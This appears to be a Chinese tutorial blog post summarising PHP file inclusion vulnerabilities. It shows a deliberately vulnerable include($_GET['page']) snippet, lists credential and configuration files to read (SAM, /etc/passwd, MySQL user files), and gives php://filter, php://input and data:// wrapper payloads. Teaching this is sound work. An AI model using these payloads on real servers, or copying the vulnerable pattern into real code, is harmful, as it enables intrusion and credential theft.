文件包含漏洞简单总结【附练习记录】

文件包含漏洞

什么是文件包含:

为了更好的使用代码的 重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。

文件包含漏洞的成因:

为了灵活的包含文件,将被包含文件设置为变量,通过动态变量引入需要包含的文件时,用户对变量的可控而服务器端卫队变量值合理的校验或被绕过。

文件包含函数:

include() // 找不到被包含文件时产生警告,脚本继续执行

include_once() // 与include类似,但如果该文件的代码已经被包含,则不会再次包含

require() // 找不到被包含文件时产生错误,脚本停止

require_once() // 与require类似,但如果该文件的代码已经被包含,则不会再次包含

文件包含示例:

文件包含分为本地包含和远程包含。

(1)本地包含:

<?php
include($_GET["page"]);
?>

输入可控变量page:
在这里插入图片描述

在本地包含中,任何一个文件,无论是什么类型的文件,只要其文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。

(2)远程包含:

远程包含功能需要在php.ini配置文件中进行修改:

allow_url_include = Off //把Off改成On

在 http://192.168.31.169/ 目录下存在test.txt文件:

<? php
  	echo "Hello World ";
?>

输入page=http://192.168.31.169/test.txt:
在这里插入图片描述

PHP文件包含的利用:

(1)读取敏感文件

常见敏感信息路径:

① Windows系统。

路径 功能
C:\boot.ini 查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml IIS配置文件
C:\windows\repair\sam 存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD Mysql root
C:\windows\php.ini php配置信息
C:\windows\my.ini Mysql配置文件

② Linux系统。

路径 功能
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置
/usr/local/app/php5/lib/php.ini PHP相关设置
/etc/httpd/conf/httpd.conf apache配置文件
/etc/my.cof Mysql的配置信息

(2)使用PHP封装协议

常见伪协议及其用法:

伪协议 用法
file:// ?file=file://绝对路径
php://filter ?file=php://filter/read=convert.base64-encode/resource=相对路径
php://input ?file=php:input (POST传参<?php phpinfo()?>)
zip:// ?file=zip://绝对路径/xxx.zip#1.txt (1.txt为zip中的文件)
data:// ?file=data://text/plain,<?php phpinfo() ?> or ?file=data://text/plain;base64,编码

php://input在使用时,要保证allow_url_include=On

文件包含漏洞靶场练习

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/113799369